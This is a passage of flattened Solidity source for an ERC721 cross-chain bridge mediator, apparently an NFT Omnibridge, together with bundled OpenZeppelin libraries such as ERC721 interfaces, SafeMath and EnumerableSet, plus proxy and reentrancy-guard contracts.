if (isDisabled || _token == address(0)) { return !isDisabled; } return isTokenBridgingAllowed(address(0)); } /** * @dev Tells if the execution operations for the particular token are allowed. * @param _token address of the token contract. * @return true, if execution operations are allowed. */ function isTokenExecutionAllowed(address _token) public view returns (bool) { bool isDisabled = boolStorage[keccak256(abi.encodePacked("executionDisabled", _token))]; if (isDisabled || _token == address(0)) { return !isDisabled; } return isTokenExecutionAllowed(address(0)); } } // File: @openzeppelin/contracts/introspection/IERC165.sol pragma solidity ^0.7.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol pragma solidity ^0.7.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom(address from, address to, uint256 tokenId) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external; } // File: contracts/interfaces/IBurnableMintableERC721Token.sol pragma solidity 0.7.5; interface IBurnableMintableERC721Token is IERC721 { function mint(address _to, uint256 _tokeId) external; function burn(uint256 _tokenId) external; function setTokenURI(uint256 _tokenId, string calldata _tokenURI) external; } // File: contracts/libraries/Bytes.sol pragma solidity 0.7.5; /** * @title Bytes * @dev Helper methods to transform bytes to other solidity types. */ library Bytes { /** * @dev Truncate bytes array if its size is more than 20 bytes. * NOTE: This function does not perform any checks on the received parameter. * Make sure that the _bytes argument has a correct length, not less than 20 bytes. * A case when _bytes has length less than 20 will lead to the undefined behaviour, * since assembly will read data from memory that is not related to the _bytes argument. * @param _bytes to be converted to address type * @return addr address included in the firsts 20 bytes of the bytes array in parameter. */ function bytesToAddress(bytes memory _bytes) internal pure returns (address addr) { assembly { addr := mload(add(_bytes, 20)) } } } // File: contracts/upgradeable_contracts/ReentrancyGuard.sol pragma solidity 0.7.5; contract ReentrancyGuard { function lock() internal view returns (bool res) { assembly { // Even though this is not the same as boolStorage[keccak256(abi.encodePacked("lock"))], // since solidity mapping introduces another level of addressing, such slot change is safe // for temporary variables which are cleared at the end of the call execution. res := sload(0x6168652c307c1e813ca11cfb3a601f1cf3b22452021a5052d8b05f1f1f8a3e92) // keccak256(abi.encodePacked("lock")) } } function setLock(bool _lock) internal { assembly { // Even though this is not the same as boolStorage[keccak256(abi.encodePacked("lock"))], // since solidity mapping introduces another level of addressing, such slot change is safe // for temporary variables which are cleared at the end of the call execution. sstore(0x6168652c307c1e813ca11cfb3a601f1cf3b22452021a5052d8b05f1f1f8a3e92, _lock) // keccak256(abi.encodePacked("lock")) } } } // File: contracts/upgradeable_contracts/omnibridge_nft/components/common/ERC721Relayer.sol pragma solidity 0.7.5; /** * @title ERC721Relayer * @dev Functionality for bridging multiple tokens to the other side of the bridge. */ abstract contract ERC721Relayer is BasicAMBMediator, ReentrancyGuard { /** * @dev ERC721 transfer callback function. * @param _from address of token sender. * @param _tokenId id of the transferred token. * @param _data additional transfer data, can be used for passing alternative receiver address. */ function onERC721Received( address, address _from, uint256 _tokenId, bytes calldata _data ) external returns (bytes4) { if (!lock()) { bridgeSpecificActionsOnTokenTransfer(msg.sender, _from, chooseReceiver(_from, _data), _tokenId); } return msg.sig; } /** * @dev Initiate the bridge operation for some token from msg.sender. * The user should first call Approve method of the ERC721 token. * @param token bridged token contract address. * @param _receiver address that will receive the token on the other network. * @param _tokenId id of the token to be transferred to the other network. */ function relayToken( IERC721 token, address _receiver, uint256 _tokenId ) external { _relayToken(token, _receiver, _tokenId); } /** * @dev Initiate the bridge operation for some token from msg.sender to msg.sender on the other side. * The user should first call Approve method of the ERC721 token. * @param token bridged token contract address. * @param _tokenId id of token to be transferred to the other network. */ function relayToken(IERC721 token, uint256 _tokenId) external { _relayToken(token, msg.sender, _tokenId); } /** * @dev Validates that the token amount is inside the limits, calls transferFrom to transfer the token to the contract * and invokes the method to burn/lock the token and unlock/mint the token on the other network. * The user should first call Approve method of the ERC721 token. * @param _token bridge token contract address. * @param _receiver address that will receive the token on the other network. * @param _tokenId id of the token to be transferred to the other network. */ function _relayToken( IERC721 _token, address _receiver, uint256 _tokenId ) internal { // This lock is to prevent calling bridgeSpecificActionsOnTokenTransfer twice. // When transferFrom is called, after the transfer, the ERC721 token might call onERC721Received from this contract // which will call bridgeSpecificActionsOnTokenTransfer. require(!lock()); setLock(true); _token.transferFrom(msg.sender, address(this), _tokenId); setLock(false); bridgeSpecificActionsOnTokenTransfer(address(_token), msg.sender, _receiver, _tokenId); } /** * @dev Helper function for alternative receiver feature. Chooses the actual receiver out of sender and passed data. * @param _from address of the token sender. * @param _data passed data in the transfer message. * @return recipient address of the receiver on the other side. */ function chooseReceiver(address _from, bytes memory _data) internal pure returns (address recipient) { recipient = _from; if (_data.length > 0) { require(_data.length == 20); recipient = Bytes.bytesToAddress(_data); } } function bridgeSpecificActionsOnTokenTransfer( address _token, address _from, address _receiver, uint256 _tokenId ) internal virtual; } // File: contracts/upgradeable_contracts/VersionableBridge.sol pragma solidity 0.7.5; interface VersionableBridge { function getBridgeInterfacesVersion() external pure returns ( uint64 major, uint64 minor, uint64 patch ); function getBridgeMode() external pure returns (bytes4); } // File: contracts/upgradeable_contracts/omnibridge_nft/components/common/NFTOmnibridgeInfo.sol pragma solidity 0.7.5; /** * @title NFTOmnibridgeInfo * @dev Functionality for versioning NFTOmnibridge mediator. */ contract NFTOmnibridgeInfo is VersionableBridge { event TokensBridgingInitiated( address indexed token, address indexed sender, uint256 tokenId, bytes32 indexed messageId ); event TokensBridged(address indexed token, address indexed recipient, uint256 tokenId, bytes32 indexed messageId); /** * @dev Tells the bridge interface version that this contract supports. * @return major value of the version * @return minor value of the version * @return patch value of the version */ function getBridgeInterfacesVersion() external pure override returns ( uint64 major, uint64 minor, uint64 patch ) { return (2, 0, 1); } /** * @dev Tells the bridge mode that this contract supports. * @return _data 4 bytes representing the bridge mode */ function getBridgeMode() external pure override returns (bytes4 _data) { return 0xca7fc3dc; // bytes4(keccak256(abi.encodePacked("multi-nft-to-nft-amb"))) } } // File: contracts/upgradeable_contracts/omnibridge_nft/components/native/NativeTokensRegistry.sol pragma solidity 0.7.5; /** * @title NativeTokensRegistry * @dev Functionality for keeping track of registered native tokens. */ contract NativeTokensRegistry is EternalStorage { uint256 internal constant REGISTERED = 1; uint256 internal constant REGISTERED_AND_DEPLOYED = 2; /** * @dev Checks if for a given native token, the deployment of its bridged alternative was already acknowledged. * @param _token address of native token contract. * @return true, if bridged token was already deployed. */ function isBridgedTokenDeployAcknowledged(address _token) public view returns (bool) { return uintStorage[keccak256(abi.encodePacked("tokenRegistered", _token))] == REGISTERED_AND_DEPLOYED; } /** * @dev Checks if a given token is a bridged token that is native to this side of the bridge. * @param _token address of token contract. * @return message id of the send message. */ function isRegisteredAsNativeToken(address _token) public view returns (bool) { return uintStorage[keccak256(abi.encodePacked("tokenRegistered", _token))] > 0; } /** * @dev Internal function for marking native token as registered. * @param _token address of the token contract. * @param _state registration state. */ function _setNativeTokenIsRegistered(address _token, uint256 _state) internal { if (uintStorage[keccak256(abi.encodePacked("tokenRegistered", _token))] != _state) { uintStorage[keccak256(abi.encodePacked("tokenRegistered", _token))] = _state; } } } // File: @openzeppelin/contracts/utils/Strings.sol pragma solidity ^0.7.0; /** * @dev String operations. */ library Strings { /** * @dev Converts a `uint256` to its ASCII `string` representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); uint256 index = digits - 1; temp = value; while (temp != 0) { buffer[index--] = byte(uint8(48 + temp % 10)); temp /= 10; } return string(buffer); } } // File: @openzeppelin/contracts/token/ERC721/IERC721Metadata.sol pragma solidity ^0.7.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File: contracts/upgradeable_contracts/omnibridge_nft/components/native/ERC721Reader.sol pragma solidity 0.7.5; /** * @title ERC721Reader * @dev Functionality for reading metadata from the ERC721 tokens. */ contract ERC721Reader is Ownable { /** * @dev Sets the custom metadata for the given ERC721 token. * Only owner can call this method. * Useful when original NFT token does not implement neither name() nor symbol() methods. * @param _token address of the token contract. * @param _name custom name for the token contract. * @param _symbol custom symbol for the token contract. */ function setCustomMetadata( address _token, string calldata _name, string calldata _symbol ) external onlyOwner { stringStorage[keccak256(abi.encodePacked("customName", _token))] = _name; stringStorage[keccak256(abi.encodePacked("customSymbol", _token))] = _symbol; } /** * @dev Internal function for reading ERC721 token name. * Use custom predefined name in case name() function is not implemented. * @param _token address of the ERC721 token contract. * @return name for the token. */ function _readName(address _token) internal view returns (string memory) { (bool status, bytes memory data) = _token.staticcall(abi.encodeWithSelector(IERC721Metadata.name.selector)); return status ? abi.decode(data, (string)) : stringStorage[keccak256(abi.encodePacked("customName", _token))]; } /** * @dev Internal function for reading ERC721 token symbol. * Use custom predefined symbol in case symbol() function is not implemented. * @param _token address of the ERC721 token contract. * @return symbol for the token. */ function _readSymbol(address _token) internal view returns (string memory) { (bool status, bytes memory data) = _token.staticcall(abi.encodeWithSelector(IERC721Metadata.symbol.selector)); return status ? abi.decode(data, (string)) : stringStorage[keccak256(abi.encodePacked("customSymbol", _token))]; } /** * @dev Internal function for reading ERC721 token URI. * @param _token address of the ERC721 token contract. * @param _tokenId unique identifier for the token. * @return token URI for the particular token, if any. */ function _readTokenURI(address _token, uint256 _tokenId) internal view returns (string memory) { (bool status, bytes memory data) = _token.staticcall(abi.encodeWithSelector(IERC721Metadata.tokenURI.selector, _tokenId)); return status ? abi.decode(data, (string)) : ""; } } // File: contracts/upgradeable_contracts/omnibridge_nft/components/bridged/BridgedTokensRegistry.sol pragma solidity 0.7.5; /** * @title BridgedTokensRegistry * @dev Functionality for keeping track of registered bridged token pairs. */ contract BridgedTokensRegistry is EternalStorage { event NewTokenRegistered(address indexed nativeToken, address indexed bridgedToken); /** * @dev Retrieves address of the bridged token contract associated with a specific native token contract on the other side. * @param _nativeToken address of the native token contract on the other side. * @return address of the deployed bridged token contract. */ function bridgedTokenAddress(address _nativeToken) public view returns (address) { return addressStorage[keccak256(abi.encodePacked("homeTokenAddress", _nativeToken))]; } /** * @dev Retrieves address of the native token contract associated with a specific bridged token contract. * @param _bridgedToken address of the created bridged token contract on this side. * @return address of the native token contract on the other side of the bridge. */ function nativeTokenAddress(address _bridgedToken) public view returns (address) { return addressStorage[keccak256(abi.encodePacked("foreignTokenAddress", _bridgedToken))]; } /** * @dev Internal function for updating a pair of addresses for the bridged token. * @param _nativeToken address of the native token contract on the other side. * @param _bridgedToken address of the created bridged token contract on this side. */ function _setTokenAddressPair(address _nativeToken, address _bridgedToken) internal { addressStorage[keccak256(abi.encodePacked("homeTokenAddress", _nativeToken))] = _bridgedToken; addressStorage[keccak256(abi.encodePacked("foreignTokenAddress", _bridgedToken))] = _nativeToken; emit NewTokenRegistered(_nativeToken, _bridgedToken); } } // File: contracts/upgradeable_contracts/omnibridge_nft/components/bridged/TokenImageStorage.sol pragma solidity 0.7.5; /** * @title TokenImageStorage * @dev Storage functionality for working with ERC721 image contract. */ contract TokenImageStorage is Ownable { bytes32 internal constant TOKEN_IMAGE_CONTRACT = 0x20b8ca26cc94f39fab299954184cf3a9bd04f69543e4f454fab299f015b8130f; // keccak256(abi.encodePacked("tokenImageContract")) /** * @dev Updates address of the used ERC721 token image. * Only owner can call this method. * @param _image address of the new token image. */ function setTokenImage(address _image) external onlyOwner { _setTokenImage(_image); } /** * @dev Tells the address of the used ERC721 token image. * @return address of the used token image. */ function tokenImage() public view returns (address) { return addressStorage[TOKEN_IMAGE_CONTRACT]; } /** * @dev Internal function for updating address of the used ERC721 token image. * @param _image address of the new token image. */ function _setTokenImage(address _image) internal { require(Address.isContract(_image)); addressStorage[TOKEN_IMAGE_CONTRACT] = _image; } } // File: contracts/upgradeability/Proxy.sol pragma solidity 0.7.5; /** * @title Proxy * @dev Gives the possibility to delegate any call to a foreign implementation. */ abstract contract Proxy { /** * @dev Tells the address of the implementation where every call will be delegated. * @return address of the implementation to which it will be delegated */ function implementation() public view virtual returns (address); /** * @dev Fallback function allowing to perform a delegatecall to the given implementation. * This function will return whatever the implementation call returns */ fallback() external payable { // solhint-disable-previous-line no-complex-fallback address _impl = implementation(); require(_impl != address(0)); assembly { /* 0x40 is the "free memory slot", meaning a pointer to next slot of empty memory. mload(0x40) loads the data in the free memory slot, so `ptr` is a pointer to the next slot of empty memory. It's needed because we're going to write the return data of delegatecall to the free memory slot. */ let ptr := mload(0x40) /* `calldatacopy` is copy calldatasize bytes from calldata First argument is the destination to which data is copied(ptr) Second argument specifies the start position of the copied data. Since calldata is sort of its own unique location in memory, 0 doesn't refer to 0 in memory or 0 in storage - it just refers to the zeroth byte of calldata. That's always going to be the zeroth byte of the function selector. Third argument, calldatasize, specifies how much data will be copied. calldata is naturally calldatasize bytes long (same thing as msg.data.length) */ calldatacopy(ptr, 0, calldatasize()) /* delegatecall params explained: gas: the amount of gas to provide for the call. `gas` is an Opcode that gives us the amount of gas still available to execution _impl: address of the contract to delegate to ptr: to pass copied data calldatasize: loads the size of `bytes memory data`, same as msg.data.length 0, 0: These are for the `out` and `outsize` params. Because the output could be dynamic, these are set to 0, 0 so the output data will not be written to memory. The output data will be read using `returndatasize` and `returdatacopy` instead. result: This will be 0 if the call fails and 1 if it succeeds */ let result := delegatecall(gas(), _impl, ptr, calldatasize(), 0, 0) /* */ /* ptr current points to the value stored at 0x40, because we assigned it like ptr := mload(0x40). Because we use 0x40 as a free memory pointer, we want to make sure that the next time we want to allocate memory, we aren't overwriting anything important. So, by adding ptr and returndatasize, we get a memory location beyond the end of the data we will be copying to ptr. We place this in at 0x40, and any reads from 0x40 will now read from free memory */ mstore(0x40, add(ptr, returndatasize())) /* `returndatacopy` is an Opcode that copies the last return data to a slot. `ptr` is the slot it will copy to, 0 means copy from the beginning of the return data, and size is the amount of data to copy. `returndatasize` is an Opcode that gives us the size of the last return data. In this case, that is the size of the data returned from delegatecall */ returndatacopy(ptr, 0, returndatasize()) /* if `result` is 0, revert. if `result` is 1, return `size` amount of data from `ptr`. This is the data that was copied to `ptr` from the delegatecall return data */ switch result case 0 { revert(ptr, returndatasize()) } default { return(ptr, returndatasize()) } } } } // File: contracts/interfaces/IOwnable.sol pragma solidity 0.7.5; interface IOwnable { function owner() external view returns (address); } // File: contracts/upgradeable_contracts/omnibridge_nft/components/bridged/ERC721TokenProxy.sol pragma solidity 0.7.5; /** * @title ERC721TokenProxy * @dev Helps to reduces the size of the deployed bytecode for automatically created tokens, by using a proxy contract. */ contract ERC721TokenProxy is Proxy { // storage layout is copied from ERC721BridgeToken.sol mapping(bytes4 => bool) private _supportedInterfaces; mapping(address => uint256) private _holderTokens; //EnumerableMap.UintToAddressMap private _tokenOwners; uint256[] private _tokenOwnersEntries; mapping(bytes32 => uint256) private _tokenOwnersIndexes; mapping(uint256 => address) private _tokenApprovals; mapping(address => mapping(address => bool)) private _operatorApprovals; string private name; string private symbol; mapping(uint256 => string) private _tokenURIs; string private _baseURI; address private bridgeContract; /** * @dev Creates an upgradeable token proxy for ERC721BridgeToken.sol, initializes its eternalStorage. * @param _tokenImage address of the token image used for mirroring all functions. * @param _name token name. * @param _symbol token symbol. * @param _owner address of the owner for this contract. */ constructor( address _tokenImage, string memory _name, string memory _symbol, address _owner ) { assembly { // EIP 1967 // bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1) sstore(0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc, _tokenImage) } name = _name; symbol = _symbol; bridgeContract = _owner; // _owner == HomeOmnibridgeNFT/ForeignOmnibridgeNFT mediator } /** * @dev Retrieves the implementation contract address, mirrored token image. * @return impl token image address. */ function implementation() public view override returns (address impl) { assembly { impl := sload(0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc) } } /** * @dev Updates the implementation contract address. * Only the bridge and bridge owner can call this method. * @param _implementation address of the new implementation. */ function setImplementation(address _implementation) external { require(msg.sender == bridgeContract || msg.sender == IOwnable(bridgeContract).owner()); require(_implementation != address(0)); require(Address.isContract(_implementation)); assembly { // EIP 1967 // bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1) sstore(0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc, _implementation) } } } // File: contracts/upgradeable_contracts/omnibridge_nft/components/native/NFTMediatorBalanceStorage.sol pragma solidity 0.7.5; /** * @title NFTMediatorBalanceStorage * @dev Functionality for storing expected mediator balance for native tokens. */ contract NFTMediatorBalanceStorage is EternalStorage { /** * @dev Tells if mediator owns the given token. More strict than regular token.ownerOf() check, * since does not take into account forced tokens. * @param _token address of token contract. * @param _tokenId id of the new owned token. * @return true, if given token is already accounted in the mediator balance. */ function mediatorOwns(address _token, uint256 _tokenId) public view returns (bool) { return boolStorage[keccak256(abi.encodePacked("mediatorOwns", _token, _tokenId))]; } /** * @dev Updates ownership information for the particular token. * @param _token address of token contract. * @param _tokenId id of the new owned token. * @param _owns true, if new token is received. false, when token is released. */ function _setMediatorOwns( address _token, uint256 _tokenId, bool _owns ) internal { boolStorage[keccak256(abi.encodePacked("mediatorOwns", _token, _tokenId))] = _owns; } } // File: @openzeppelin/contracts/GSN/Context.sol pragma solidity ^0.7.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/token/ERC721/IERC721Enumerable.sol pragma solidity ^0.7.0; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol pragma solidity ^0.7.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4); } // File: @openzeppelin/contracts/introspection/ERC165.sol pragma solidity ^0.7.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts may inherit from this and call {_registerInterface} to declare * their support of an interface. */ abstract contract ERC165 is IERC165 { /* * bytes4(keccak256('supportsInterface(bytes4)')) == 0x01ffc9a7 */ bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7; /** * @dev Mapping of interface ids to whether or not it's supported. */ mapping(bytes4 => bool) private _supportedInterfaces; constructor () { // Derived contracts need only register support for their own interfaces, // we register support for ERC165 itself here _registerInterface(_INTERFACE_ID_ERC165); } /** * @dev See {IERC165-supportsInterface}. * * Time complexity O(1), guaranteed to always use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) public view override returns (bool) { return _supportedInterfaces[interfaceId]; } /** * @dev Registers the contract as an implementer of the interface defined by * `interfaceId`. Support of the actual ERC165 interface is automatic and * registering its interface id is not required. * * See {IERC165-supportsInterface}. * * Requirements: * * - `interfaceId` cannot be the ERC165 invalid interface (`0xffffffff`). */ function _registerInterface(bytes4 interfaceId) internal virtual { require(interfaceId != 0xffffffff, "ERC165: invalid interface id"); _supportedInterfaces[interfaceId] = true; } } // File: @openzeppelin/contracts/math/SafeMath.sol pragma solidity ^0.7.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // File: @openzeppelin/contracts/utils/EnumerableSet.sol pragma solidity ^0.7.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256` * (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. 